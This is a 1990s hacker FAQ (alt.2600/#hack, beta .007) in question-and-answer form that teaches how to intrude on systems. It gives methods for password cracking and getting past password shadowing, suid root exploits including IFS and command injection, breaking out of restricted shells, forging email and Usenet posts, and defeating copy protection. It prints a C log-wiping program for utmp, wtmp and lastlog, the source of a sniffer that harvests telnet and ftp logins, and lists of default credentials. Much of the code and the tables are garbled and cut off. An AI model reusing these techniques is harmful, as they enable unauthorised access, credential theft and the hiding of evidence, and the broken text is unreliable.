alt.2600/#hack F.A.Q.

Editors Note: Welcome to Beta .007, licensed to amuse.

     This release of the #hack FAQ is now the alt.2600/#hack
     FAQ.  XXXXXXXX* , editor of the alt.2600 FAQ, and I
     have merged our two FAQ's into one.  Eleet greets go out
     to XXXX* , better known as Tomes.

     This release is dedicated to Eric S. Real
     <> for not only emailing me the first
     real flame for the FAQ, but also including a huge
     advertisement for a book he is hawking.

     To quote our little buddy Eric "I will denounce you and
     your cracker pals as the pathetic scum you are.  *And*
     do my best to see that as many as possible of you end up
     in Leavenworth getting butt-fucked by reality."  Eric,
     this Bud's for you.

     Many sections are missing or incomplete.  The #hack FAQ
     comes with no warranties, express or implied.

     If you have a questions regarding any of the topics
     covered in the FAQ, please direct it to alt.2600 or
     #hack.  Please do not e-mail me with them, I'm getting

     If your copy of the #hack FAQ does not end with the
     letters EOT on a line by themselves, you do not have the
     entire FAQ.

     I promise to spell check this beast before I release
     version 1.0.

                          ** BETA **

                      Beta Revision .007
                      alt.2600/#Hack F.A.Q.


                            Sysop of
                         Hacker's Haven
                         (303) 343-4053
                   With special thanks to:
   A-Flat, Al, Aleph1, Bluesmn, C-Curve, Edison, KCrow,
  Major, Presence, Rogue Agent, sbin, Tomes and TheSaint.
              We work in the dark
              We do what we can
              We give what we have
              Our doubt is our passion,
              and our passion is our task
              The rest is the madness of art.

                       -- Henry James

Section A: Computers

Section B: Telephony

Section C: Resources

Section D: 2600

Section E: Miscellaneous

Section A: Computers

01. How do I access the password file under Unix?

In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere.

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists. Each word in the wordlist is encrypted with each of the 4096 possible salt values and the results are compared to the encrypted form of the target password.

The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack.

03. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file.

04. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machies on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file with a line that looks like this:


To view the real password file use this command "ypcat passwd"

06. What is password shadowing?

Password shadowing is a security system where the encrypted password field of /etc/password is replaced with a special token and the encrypted password is stored in a seperate file which is not readable by normal system users.

To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file.


#include <pwd.h>
struct passwd *p;
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

07. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command:

:set shell=/bin/sh

then shell using this command:


08. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Seperator that the shell uses to delimit arguments.

If the program contains a line that looks like this:


and you change IFS to '/' the shell will them interpret the proceeding line as:

bin date

Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date.

To change IFS, use this command:

set IFS '/'

2. link the script to -i

Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.


% ln -i
% -i

3. Exploit a race condition

Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.


nice -19 suidprog ; ln -s evilprog suidroot

4. Send bad input the the program.

Invoke the name of the program and a seperate command on the same command line.


suidprog ; id

09. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.


#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
    struct utmp utmp_ent;
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
void kill_wtmp(who)
char *who;
    struct utmp utmp_ent;
    long pos;
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
void kill_lastlog(who)
char *who;
    struct passwd *pwd;
    struct lastlog newll;
     if ((pwd=getpwnam(who))!=NULL) {
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
    } else printf("%s: ?\n",who);
int argc;
char *argv[];
    if (argc==2) {
    } else

10. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example:

	Please discontinue your silly Clipper initiative.

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.

11. How do I fake posts to UseNet?

Use inews to post. Give inews the following lines:

For a moderated newsgroup, inews will also require this line:


Then add your post and terminate with .


From: Dale Drew
Newsgroups: alt.2600
Subject: Please forgive me
Date: Fri, 13 Jun 1994 12:15:03
Organization: Tymnet Insecurity
Please forgive me for being such a worthless puke all of these

12. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose.

13. How do I modify the IRC client to hide my real username?

Get the IRC client from /irc/clients. Look at the source code files irc.c and ctcp.c. The code you are looking for is fairly easy to spot. Change it. Change the username code in irc.c and the ctcp information code in ctcp.c. Compile and run your client.

14. What is a trojan/worm/virus/logic bomb?

Trojan: An independent program that appears to perform a useful function but that hides another unauthorized program inside it. When an authorized user performs the apparrent function, the trojan horse performs the unauthorized function as well (often usurping the priveleges of the user).

Virus: A code fragment (not an independent program) that reproduces by attaching to another program. It may damage data directly, or it may degrade system performance by taking over system resources which are then not available to authorized users. Worm: An independent program that reproduces by copying itself from one system to another, usually over a network. Like a virus, a worm may damage data directly, or it may degrade system performace by tying up system resources and even shutting down a network.

Logic Bomb: A method for releasing a system attack of some kind. It is triggered when a particular condition (e.g., a certain date or system operation) occurs.

15. How can I protect myself from virii and such?

Always write protect your floppy disks when you are not purposefully writing to them.

Use ATTRIB to make all of your EXE and COM files read only. This will protect you from many poorly written viruses.

Scan any software that you receive with a recent copy of a good virus scanner. The best virus scanner currently available for DOS is F-Prot by Fridrik Skulason. The current version is FP-212C. It is best to use more than one virus scanner. That will decrease your chances of missing a virus.

Backup regularly, and keep several generations of backups on hand. If you always backup over your last backup, you may find yourself with an infected backup tape.

16. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from:

  Computer Security Basics
  by Deborah Russell
  and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of disguising a message in such a way as to hide its substance is called encryption. An encrypted message is called ciphertext. The process of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography, and it is practiced by cryptographers. Cryptanalysts are practitioners of cryptanalysis, the art and science of breaking ciphertext, i.e. seeing through the disguise. The branch of mathematics embodying both cryptography and cryptanalysis is called cryptology, and it's practitioners are called cryptologists.

17. What is PGP?

This FAQ answer is excerpted from:

  PGP(tm) User's Guide
  Volume I: Essential Topics
  by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files. Communicate securely with people you've never met, with no secure channels needed for prior exchange of keys. PGP is well featured and fast, with sophisticated key management, digital signatures, data compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high security cryptographic software application for MSDOS, Unix, VAX/VMS, and other computers. PGP allows people to exchange files or messages with privacy, authentication, and convenience. Privacy means that only those intended to receive a message can read it. Authentication means that messages that appear to be from a particular person can only have originated from that person. Convenience means that privacy and authentication are provided without the hassles of managing keys associated with conventional cryptographic software. No secure channels are needed to exchange keys between users, which makes PGP much easier to use. This is because PGP is based on a powerful new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key cryptosystem with the speed of conventional cryptography, message digests for digital signatures, data compression before encryption, good ergonomic design, and sophisticated key management. And PGP performs the public-key functions faster than most other software implementations. PGP is public key cryptography for the masses.

18. What is Tempest?

Computers and other electonic equipment release interference to their surrounding environment. You may observe this by placing two video monitors close together. The pictures will behave erratically until you space them apart.

Although most of the time these emissions are simply annoyances, they can sometimes be very helpful. Suppose we wanted to see what project a target was working on. We could sit in a van outside her office and use sensitive electonic equipment to attempt to pick up and decipher the emanations from her video monitor.

Our competetor, however, could shield the emanations from her equipment or use equipment without strong emanations.

Tempest is the US Government program for evaluation and endorsement of electronic equipment that is safe from eavesdropping.

19. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information, most often warez (commercial software).

There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information:

From the man page for ls:

 -F   Causes directories to be marked with a trailing ``/'',
      executable files to be marked with a trailing ``*'', and
      symbolic links to be marked with a trailing ``@'' symbol.

 -q   Forces printing of non-graphic characters in filenames as
      the character ``?''.
 -b   Forces printing of non-graphic characters in the \ddd
      notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" too see exactly what those bizarre little characters are.

From the man page for cat:

-v Causes non-printing characters (with the exception of tabs,
   newlines, and form feeds) to be displayed. Control characters
   are displayed as ^X (<Ctrl>x), where X is the key pressed
   with the <Ctrl> key (for example, <Ctrl>m is displayed as
   ^M). The <Del> character (octal 0177) is printed as ^?.
   Non-ASCII characters (with the high bit set) are printed as
   M -x, where x is the character specified by the seven low
   order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L.  This
   option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each
   line (prior to the new-line).  This option is ignored if
   the -v option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:

cd "..<TAB>"

On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:

cd "..<TAB>"

20. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password."

Many enternet sniffers are available, here are a few that may be on your system now:

OS              Sniffer
~~              ~~~~~~~
HP/UX           nettl (monitor) & netfmt (display)
SunOS           etherfind
Solaris         snoop
DOS             ETHLOAD
                The Gobbler

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h> 
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h> 

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h> 

#define ERR stderr

char    *malloc();
char    *device,
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
     time_t  Time;              /* start time */
     struct in_addr SRCip,
     u_int   SRCport,           /* src/dst ports */
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
     gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');           
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;
   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case I        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
char *Ptm(t)
register time_t *t;  
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */

char *NOWtm()
{ time_t tm;
  return( Ptm(&tm) );
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \  
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addrp;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
    CLr = CLr->Next;
#define ADDDATA_NODE(CL,DATA,LEN) { \    
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
       *dp) { \ 
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
void END_NODE(CLe,d,dl,msg)  
register struct CREC *CLe;  
register u_char *d; 
register int dl;
register char *msg; 
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;
   fprintf(LOG,"\n-- \n");
   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)    
    CLe->Last->Next = CLe->Next;
    CLroot = CLe->Next;
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \ 
  time_t tm; \
  time(&tm); \ 
  if(LastTIMENext; \
       if(CLe->Time ether_type);

   if(EtherType < 0xX) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
     (int)(pktlen - SZETH));
 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
 tcph = (struct tcphdr *)(Packet + IPHLEN);
 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;
   p += ((IPHLEN * 4) + (TCPOFF * 4));
 if(debug) { 
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
     CPFL(TH_FIN|TH_RST)) { 
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
   } else {
      if(TCPFL(TH_SYN)) {
/* signal handler
void death()
{ register struct CREC *CLe;
        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    if(LOG != stdout)
/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
void do_it()
    int cc;
    char *buf;
    u_short sp_ts_len;
        Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
    struct strioctl si;
    strreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;
    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;
    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
  KSIZE)) >= 0) {
        register char *bp = buf, 
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;
            hdrp = (struct nit_bufhdr *)cpNIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)𝔦
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"tl (I_STR: NIOCSFLAGS)");
    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");
    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf, 
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;
            hdrp = (struct nit_bufhdr *)cpister char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
            case 'B': backg=1;
            case 'D': debug=1;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");
        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf; 
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");
        device = ifc.ifc_req->ifr_name;
    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
    signal(SIGINT, death);
    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");
    if(backg) {
        register int s;  
        if((s=fork())>0) {
           fpritf(ERR,"[pid %d]\n",s);
        } else if(s<0)
        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());

21. What is an Internet Outdial?

An Internet outdial is a modem connected to the Inyou can use to dial out. Normal outdials will only call local numbers. A GOD (Global OutDial) is capable of calling long distance. Outdials are an inexpensive method of calling long distance BBS's.

22. What are some Internet Outdials?

This FAQ answer is excerpted from: BlackAdders FTP/FSP Site List.

Area    Address(s)                      Command(s)
------  ------------------------------- ---------------------
201     128.112.88
204            "dial12" or "dial24"
215         atz
                                        atdt 9xxxyyyy                     hayes compat
218                  cli 
                                        rlogin modem
                                        at "login:" type
                                        "modem"                 "Hayes"
232            MODEM              [Works!!]
303                   login: modem       [need password!]
307                     hayes compat
313                        "dial2400-aa" or   [can't connect]
404                       .modem8 or
                                        .dialout          .modem8 or
                                        .dialout                                                     or .modem96|CR
412               LAT
                                        connect dialout
                                        atdt 91k xxx-xxxx
415                  "dial1" or "dial2"
416           modem
                                        ax-xxxx            atdt 9,,,,, xxx-xxxx
502                   outdial2400
                                        atdt 9xxx-xxxx
514                    externe#9 9xxx-xxxx
515            login MODEM
                                     0                                             "Hayes"                 "Hayes"                                             
       ef="telnet://128.112.1128.249.27.154                  c modem96  
                                        atdt 9xxx-xxxx                  " -+ as above +- "             
714                    atdt 8xxx-xxxx
804          c hayes                  connect hayes
                                        atdt xxx-xxxx
902                "dialout"          [down...]
916                   "dialout"          [down...]                                      [can't connect]
???                            [can't connect]                 "C Modem"          [can't connect]                                 [can't connect]                                    [can't connect]
       f="telnet://">               "CALL" or "call"   [can't connect]                                         [can't connect]                                        [need password!]                                        [need password!]                                      [can't connect] / port=4000                         [what is this?]

23. What is an anonymous remailer?

An anonymous remailer is a system on the Internet that allows you to send e-mail anonymously or post messages to Usenet anonymously.

You apply for an anonymous ID at the remailer site. Then, when you send a message to the remailer, it sends it out from your anonymous ID at the remailer. No one reading the post will know your real account name or host name. If someone sends a message to your anonymous ID, it will be forwarded to your real account by the remailer.

24. What are the addresses of some anonymous remailers?

The most poular and stable anonymous remailer is, operated by Johan Helsingus. To obtain an anonymous ID, mail For assistance is obtaining an anonymous account at penet, mail

25. How do I defeat copy protection?

There are two common methods of defeating copy protection. The first is to use a program that removes copy protection. Popular programs that do this are CopyIIPC from Central Point Software and CopyWrite from Quaid Software. The second method involves patching the copy protected program. For popular software, you may be able to locate a ready made patch. You can them apply the patch using any hex editor, such as debug or the Peter Norton's DiskEdit. If you cannot, you must patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It also requires some knowledge of assembly language. Load the protected program under the debugger and watch for it to check the protection mechanism. When it does, change that portion of the code. The code can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or the code may simply be replaced with NOP (No Operation) instructions.

26. What is this system?


> UserID?
> Password?
> Once in, type GO MAIN

CDC Cyber

> 88/02/16. 02.36.53. N265100
> CSUS CYBER 170-730. NOS 2.5.2-678/3.
> You would normally just hit return at the family prompt. > Next prompt is:

Hewlett Packard MPE-XL



> @ >
> @
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



> <any text>
> ER!
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> Primenet V 2.3 (system) >
> also
> secofr/secofr (sometimes...)
> ibm/password
> ibm/2222
> ibm/service

Hewlett Packard MPE-XL

> Format is Account.Group,Job
>3/10/87 00:29:47
> RELEASE 8003
> ?


> NIH Timesharing
> NIH Tri-SMP 7.02-FF 16:30:04 TTY11
> system 1378/1381/1453 Connected to Node Happy(40) Line # 12
> Please LOGIN
> .


> VM/370
> !

27. What are the default accounts for XXX?


> qsecofr/qsecofr (master security officer)
> qsysopr/qsysopr (system operator)
> qpgmr/qpgmr (default programmer)
> also
> secofr/secofr (sometimes...)
> ibm/password
> ibm/2222
> ibm/service

Hewlett Packard MPE-XL

> Format is Account.Group,Job
>gt; MGR .CONV
> MGR .ITF3000
blks=1000" to get some swap
> space so the new step won't wedge.
> type " run $acnt" and change the password of any account
> with a group number of 7 or less.
> You may find that the ^C does not work. Try ^Z and ESC as
> well. Also try all 3 as terminators to valid and invalid
> times. If none of the above work, use the halo halt
> the system, just after a invalid date-time. Look for a user
> mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your
> fingers, write protect the drive and continue the system.
> This will hopefully result in indirect blowing up... And
> hopefully the system has not been fully secured.

System 75

> Username        Passwords
> ~~~~~~~~ ~~~~~~~~~
> bcim bcimpw
> bciim bciimpw
> bcms bcmspw, bcms
> bcnas bcnspw
> blue bluepw
> browse looker, browsepw
craft crftpw, craftpw, crack
> cust custpw
> enquiry enquirypw
> field support
> inads indspw, inadspw, inads
> init initpw
> kraft kraftpw
> locate locatepw
> maint maintpw, rwmaint
> nms nmspw
> rcust rcustpw
> support supportpw
> tech field

Verifone Junior 2.05

> Defaul 166816

28. What port is XXX on?

The file /etc/services on most Unix machines lists the activity occuring on each port. Here is a sample /etc/services file from Linux:

# services      This file describes the various services that are
#               available from the TCP/IP subsystem.  It should be
#               consulted instead of using the numbers in the ARPA
#               include files, or, worse, just guessing them.
# Version:      @(#)/etc/servi      3.02    02/21/93
# Author:       Fred N. van Kempen, <>

tcpmux          1/tcp                           # rfc-1078
echo            7/tcp
echo            7/udp
discard         9/tcp           sink null
discard         9/udp           sink null
systat          11/tcp          users
daytime         13/tcp
daytime         13/udp 
netstat         15/tcp  
qotd            17/tcp          quote
chargen         19/tcp          ttytst source
chargen         19/udp        e
ftp-data        20/tcp
ftp             21/tcp
telnet          23/tcp
smtp            25/tcp              102/tcp
x400            103/tcp                         # ISO Mail
x400-snd        104/tcp
csnet-ns        105/tcp
pop-2           109/tcp                         # PostOffice V.2
pop-3           110/tcp                         # PostOffice V.3
sunrpcly to sri-nic
domain          53/tcp
domain          53/udp
mtp             57/tcp                          # deprecated
bootps          67/udp                  # bootp server
bootpc          68/udp                          # bootp client
tftp            69/udp
rje             77/tcp          
finger          79/tcp
link            87/tcp          ttylink
supdup          95/tcp                          # BSD supdupd(8)
hostnames       101/tcp         hostname        # usually to sri-nic
iso-tsap        102/tcp
x400            103/tcp                         # ISO Mail
x400-snd        104/tcp
csnet-ns        105/tcp
pop-2           109/tcp                         # PostOffice V.2
pop-3           110/tcp                         # PostOffice V.3
sunrpc                        # SunOS talkd(8)
efs             520/tcp                         # for LucasFilm
route           520/udp         router routed   # 521/udp too
timed           525/udp         timeserver      
tempo           526/tcp         newdate
courier         530/tcp         rpc             # experimental 
conference      531/tcp         chat
netnews         532/tcp         readnews
netwall         533/udp                         # -for emergeetwork_terminal
ingreslock      1524/tcp
tn    uucpd           # BSD uucpd(8) UUCP service
new-rwho        550/udp         new-who         # experimental
remotefs        556/tcp         rfs_server rfs  # Brunhoff remote filesystem
rmonitor        560/udp         rmonitord       # experimental
monitor         561/udp                         # experimental
pcserver        600/tcp                         # ECD Integrated PC board srvr
mount           635/udp                         # NFS Mount Service
pcnfs           640/udp                         # PC-NFS DOS Authentication
bwnfs           650/udp                         # BW-NFS DOS Authentication
listen          1025/tcp        listener RFS remote_file_sharing
nterm           1026/tcp        remote_login network_terminal
